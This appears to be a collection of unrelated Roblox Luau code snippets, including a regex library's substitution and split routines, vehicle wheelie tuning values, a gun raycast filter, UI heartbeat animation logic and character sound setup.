-- re_m.test = check_re('RegEx', 'test', function(self, str, init) return re_rawfind(self.token, to_str_arr(str, init), 1, self.flags, self.verb_flags, true); end); re_m.match = check_re('RegEx', 'match', function(self, str, init, source) local span = re_rawfind(self.token, to_str_arr(str, init), 1, self.flags, self.verb_flags, false); if not span then return nil; end; return new_match(span, self.group_id, source, str); end); re_m.matchall = check_re('RegEx', 'matchall', function(self, str, init, source) str = to_str_arr(str, init); local i = 1; return function() local span = i <= str.n + 1 and re_rawfind(self.token, str, i, self.flags, self.verb_flags, false); if not span then return nil; end; i = span[0][2] + (span[0][1] >= span[0][2] and 1 or 0); return new_match(span, self.group_id, source, str.s); end; end); local function insert_tokenized_sub(repl_r, str, span, tkn) for _, v in ipairs(tkn) do if type(v) == "table" then if v[1] == "condition" then if span[v[2]] then if v[3] then insert_tokenized_sub(repl_r, str, span, v[3]); else table.move(str, span[v[2]][1], span[v[2]][2] - 1, #repl_r + 1, repl_r); end; elseif v[4] then insert_tokenized_sub(repl_r, str, span, v[4]); end; else table.move(v, 1, #v, #repl_r + 1, repl_r); end; elseif span[v] then table.move(str, span[v][1], span[v][2] - 1, #repl_r + 1, repl_r); end; end; repl_r.n = #repl_r; return repl_r; end; re_m.sub = check_re('RegEx', 'sub', function(self, repl, str, n, repl_flag_str, source) if repl_flag_str ~= nil and type(repl_flag_str) ~= "number" and type(repl_flag_str) ~= "string" then error(string.format("invalid argument #5 to 'sub' (string expected, got %s)", typeof(repl_flag_str)), 3); end local repl_flags = { l = false, o = false, u = false, }; for f in string.gmatch(repl_flag_str or '', utf8.charpattern) do if repl_flags[f] ~= false then error("invalid regular expression substitution flag " .. f, 3); end; repl_flags[f] = true; end; local repl_type = type(repl); if repl_type == "number" then repl ..= ''; elseif repl_type ~= "string" and repl_type ~= "function" and (not repl_flags.o or repl_type ~= "table") then error(string.format("invalid argument #2 to 'sub' (string/function%s expected, got %s)", repl_flags.o and "/table" or '', typeof(repl)), 3); end; if tonumber(n) then n = tonumber(n); if n <= -1 or n ~= n then n = math.huge; end; elseif n ~= nil then error(string.format("invalid argument #4 to 'sub' (number expected, got %s)", typeof(n)), 3); else n = math.huge; end; if n < 1 then return str, 0; end; local min_repl_n = 0; if repl_type == "string" then repl = to_str_arr(repl); if not repl_flags.l then local i1 = 0; local repl_r = table.create(3); local group_n = self.token.group_n; local conditional_c = { }; while i1 < repl.n do local i2 = i1; repeat i2 += 1; until not repl[i2] or repl[i2] == 0x24 or repl[i2] == 0x5C or (repl[i2] == 0x3A or repl[i2] == 0x7D) and conditional_c[1]; min_repl_n += i2 - i1 - 1; if i2 - i1 > 1 then table.insert(repl_r, table.move(repl, i1 + 1, i2 - 1, 1, table.create(i2 - i1 - 1))); end; if repl[i2] == 0x3A then local current_conditional_c = conditional_c[1]; if current_conditional_c[2] then error("malformed substitution pattern", 3); end; current_conditional_c[2] = table.move(repl_r, current_conditional_c[3], #repl_r, 1, table.create(#repl_r + 1 - current_conditional_c[3])); for i3 = #repl_r, current_conditional_c[3], -1 do repl_r[i3] = nil; end; elseif repl[i2] == 0x7D then local current_conditional_c = table.remove(conditional_c, 1); local second_c = table.move(repl_r, current_conditional_c[3], #repl_r, 1, table.create(#repl_r + 1 - current_conditional_c[3])); for i3 = #repl_r, current_conditional_c[3], -1 do repl_r[i3] = nil; end; table.insert(repl_r, { "condition", current_conditional_c[1], current_conditional_c[2] ~= true and (current_conditional_c[2] or second_c), current_conditional_c[2] and second_c }); elseif repl[i2] then i2 += 1; local subst_c = repl[i2]; if not subst_c then if repl[i2 - 1] == 0x5C then error("replacement string must not end with a trailing backslash", 3); end; local prev_repl_f = repl_r[#repl_r]; if type(prev_repl_f) == "table" then table.insert(prev_repl_f, repl[i2 - 1]); else table.insert(repl_r, { repl[i2 - 1] }); end; elseif subst_c == 0x5C and repl[i2 - 1] == 0x24 then local prev_repl_f = repl_r[#repl_r]; if type(prev_repl_f) == "table" then table.insert(prev_repl_f, 0x24); else table.insert(repl_r, { 0x24 }); end; i2 -= 1; min_repl_n += 1; elseif subst_c == 0x30 then table.insert(repl_r, 0); elseif subst_c > 0x30 and subst_c <= 0x39 then local start_i2 = i2; local group_i = subst_c - 0x30; while repl[i2 + 1] and repl[i2 + 1] >= 0x30 and repl[i2 + 1] <= 0x39 do group_i ..= repl[i2 + 1] - 0x30; i2 += 1; end; group_i = tonumber(group_i); if not repl_flags.u and group_i > group_n then error("reference to non-existent subpattern", 3); end; table.insert(repl_r, group_i); elseif subst_c == 0x7B and repl[i2 - 1] == 0x24 then i2 += 1; local start_i2 = i2; while repl[i2] and (repl[i2] >= 0x30 and repl[i2] <= 0x39 or repl[i2] >= 0x41 and repl[i2] <= 0x5A or repl[i2] >= 0x61 and repl[i2] <= 0x7A or repl[i2] == 0x5F) do i2 += 1; end; if (repl[i2] == 0x7D or repl[i2] == 0x3A and (repl[i2 + 1] == 0x2B or repl[i2 + 1] == 0x2D)) and i2 ~= start_i2 then local group_k = utf8_sub(repl.s, start_i2, i2); if repl[start_i2] >= 0x30 and repl[start_i2] <= 0x39 then group_k = tonumber(group_k); if not repl_flags.u and group_k > group_n then error("reference to non-existent subpattern", 3); end; else group_k = self.group_id[group_k]; if not repl_flags.u and (not group_k or group_k > group_n) then error("reference to non-existent subpattern", 3); end; end; if repl[i2] == 0x3A then i2 += 1; table.insert(conditional_c, { group_k, repl[i2] == 0x2D, #repl_r + 1 }); else table.insert(repl_r, group_k); end; else error("malformed substitution pattern", 3); end; else local c_escape_char; if repl[i2 - 1] == 0x24 then if subst_c ~= 0x24 then local prev_repl_f = repl_r[#repl_r]; if type(prev_repl_f) == "table" then table.insert(prev_repl_f, 0x24); else table.insert(repl_r, { 0x24 }); end; end; else c_escape_char = escape_chars[repl[i2]]; if type(c_escape_char) ~= "number" then c_escape_char = nil; end; end; local prev_repl_f = repl_r[#repl_r]; if type(prev_repl_f) == "table" then table.insert(prev_repl_f, c_escape_char or repl[i2]); else table.insert(repl_r, { c_escape_char or repl[i2] }); end; min_repl_n += 1; end; end; i1 = i2; end; if conditional_c[1] then error("malformed substitution pattern", 3); end; if not repl_r[2] and type(repl_r[1]) == "table" and repl_r[1][1] ~= "condition" then repl, repl.n = repl_r[1], #repl_r[1]; else repl, repl_type = repl_r, "subst_string"; end; end; end; str = to_str_arr(str); local incr, i0, count = 0, 1, 0; while i0 <= str.n + incr + 1 do local span = re_rawfind(self.token, str, i0, self.flags, self.verb_flags, false); if not span then break; end; local repl_r; if repl_type == "string" then repl_r = repl; elseif repl_type == "subst_string" then repl_r = insert_tokenized_sub(table.create(min_repl_n), str, span, repl); else local re_match; local repl_c; if repl_type == "table" then re_match = utf8_sub(str.s, span[0][1], span[0][2]); repl_c = repl[re_match]; else re_match = new_match(span, self.group_id, source, str.s); repl_c = repl(re_match); end; if repl_c == re_match or repl_flags.o and not repl_c then local repl_n = span[0][2] - span[0][1]; repl_r = table.move(str, span[0][1], span[0][2] - 1, 1, table.create(repl_n)); repl_r.n = repl_n; elseif type(repl_c) == "string" then repl_r = to_str_arr(repl_c); elseif type(repl_c) == "number" then repl_r = to_str_arr(repl_c .. ''); elseif repl_flags.o then error(string.format("invalid replacement value (a %s)", type(repl_c)), 3); else repl_r = { n = 0 }; end; end; local match_len = span[0][2] - span[0][1]; local repl_len = math.min(repl_r.n, match_len); for i1 = 0, repl_len - 1 do str[span[0][1] + i1] = repl_r[i1 + 1]; end; local i1 = span[0][1] + repl_len; i0 = span[0][2]; if match_len > repl_r.n then for i2 = 1, match_len - repl_r.n do table.remove(str, i1); incr -= 1; i0 -= 1; end; elseif repl_r.n > match_len then for i2 = 1, repl_r.n - match_len do table.insert(str, i1 + i2 - 1, repl_r[repl_len + i2]); incr += 1; i0 += 1; end; end; if match_len <= 0 then i0 += 1; end; count += 1; if n < count + 1 then break; end; end; return from_str_arr(str), count; end); re_m.split = check_re('RegEx', 'split', function(self, str, n) if tonumber(n) then n = tonumber(n); if n <= -1 or n ~= n then n = math.huge; end; elseif n ~= nil then error(string.format("invalid argument #3 to 'split' (number expected, got %s)", typeof(n)), 3); else n = math.huge; end; str = to_str_arr(str); local i, count = 1, 0; local ret = { }; local prev_empty = 0; while i <= str.n + 1 do count += 1; local span = n >= count and re_rawfind(self.token, str, i, self.flags, self.verb_flags, false); if not span then break; end; table.insert(ret, utf8_sub(str.s, i - prev_empty, span[0][1])); prev_empty = span[0][1] >= span[0][2] and 1 or 0; i = span[0][2] + prev_empty; end; table.insert(ret, string.sub(str.s, utf8.offset(str.s, i - prev_empty))); return ret; end);
--Wheelie tune
local WheelieD = 3 local WheelieTq = 120 local WheelieP = 8 local WheelieMultiplier = 1.5 local WheelieDivider = 2
--!strict
local RunService = game:GetService("RunService") local SteppedEvents = {} local module = {} function module:BindToStepped (name: string, func: () -> ()) if SteppedEvents[name] then SteppedEvents[name]:Disconnect() end SteppedEvents[name] = RunService.Stepped:Connect(func) end function module:UnbindFromStepped (name: string) if SteppedEvents[name] then SteppedEvents[name]:Disconnect() SteppedEvents[name] = nil else warn("Nothing to unbind", name, "was already disconnected.") end end return module
--To give the other scripts the dummy name, so it can be easier to make new npcs
local Model = script.Parent script.Parent.Parent.Radius.DummyModel.Value = Model script:Destroy()
-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil local WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid local GetCellFunction = workspace.Terrain.GetCell function RayIgnoreCheck(hit, pos) if hit then if hit.Transparency >= 1 or string.lower(hit.Name) == "water" or hit.Name == "Effect" or hit.Name == "Rocket" or hit.Name == "Bullet" or hit.Name == "Handle" or hit:IsDescendantOf(MyCharacter) then return true elseif hit:IsA('Terrain') and pos then local cellPos = WorldToCellFunction(workspace.Terrain, pos) if cellPos then local cellMat = GetCellFunction(workspace.Terrain, cellPos.x, cellPos.y, cellPos.z) if cellMat and cellMat == Enum.CellMaterial.Water then return true end end end end return false end
--[[ Returns the room associated with specified model ]]
function RoomManager.getRoomByModel(model) return rooms:get(model) end
--if color == "Green" then --wait () --elseif color == "Yellow" then --wait(3) --elseif color == "Red" then --wait(0.3) --end
if color == "Green" then script.Parent.Big.Value = false script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0) script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0) elseif color == "Yellow" then if script.Parent.Big.Value == false then script.Parent.Big.Value = true script.Parent.heartbeat:Play() script.Parent.Size = UDim2.new(0.6, 0, 0.6, 0) script.Parent.Position = UDim2.new(0.219999999, 0, 0.899999976, -3) wait(1) elseif script.Parent.Big.Value == true then script.Parent.Big.Value = false script.Parent.heartbeatlow:Play() script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0) script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0) end elseif color == "Red" then if script.Parent.Big.Value == false then script.Parent.Big.Value = true script.Parent.heartbeat:Play() script.Parent.Size = UDim2.new(0.6, 0, 0.6, 0) script.Parent.Position = UDim2.new(0.219999999, 0, 0.899999976, -3) wait(0.3) elseif script.Parent.Big.Value == true then script.Parent.Big.Value = false script.Parent.heartbeatlow:Play() script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0) script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0) end elseif color == "Dead" then script.Parent.Big.Value = false script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0) script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0) wait(10) end end
-- declarations
local sDied = newSound("rbxasset://sounds/uuhhh.wav") local sFallingDown = newSound("rbxasset://sounds/splat.wav") local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav") local sGettingUp = newSound("rbxasset://sounds/hit.wav") local sJumping = newSound("rbxasset://sounds/button.wav") local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3") sRunning.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Human")
--[[** creates an intersection type @param ... The checks to intersect @returns A function that will return true iff the condition is passed **--]]
function t.intersection(...) local checks = { ... } assert(callbackArray(checks)) return function(value) for _, check in ipairs(checks) do local success = check(value) if not success then return false end end return true end end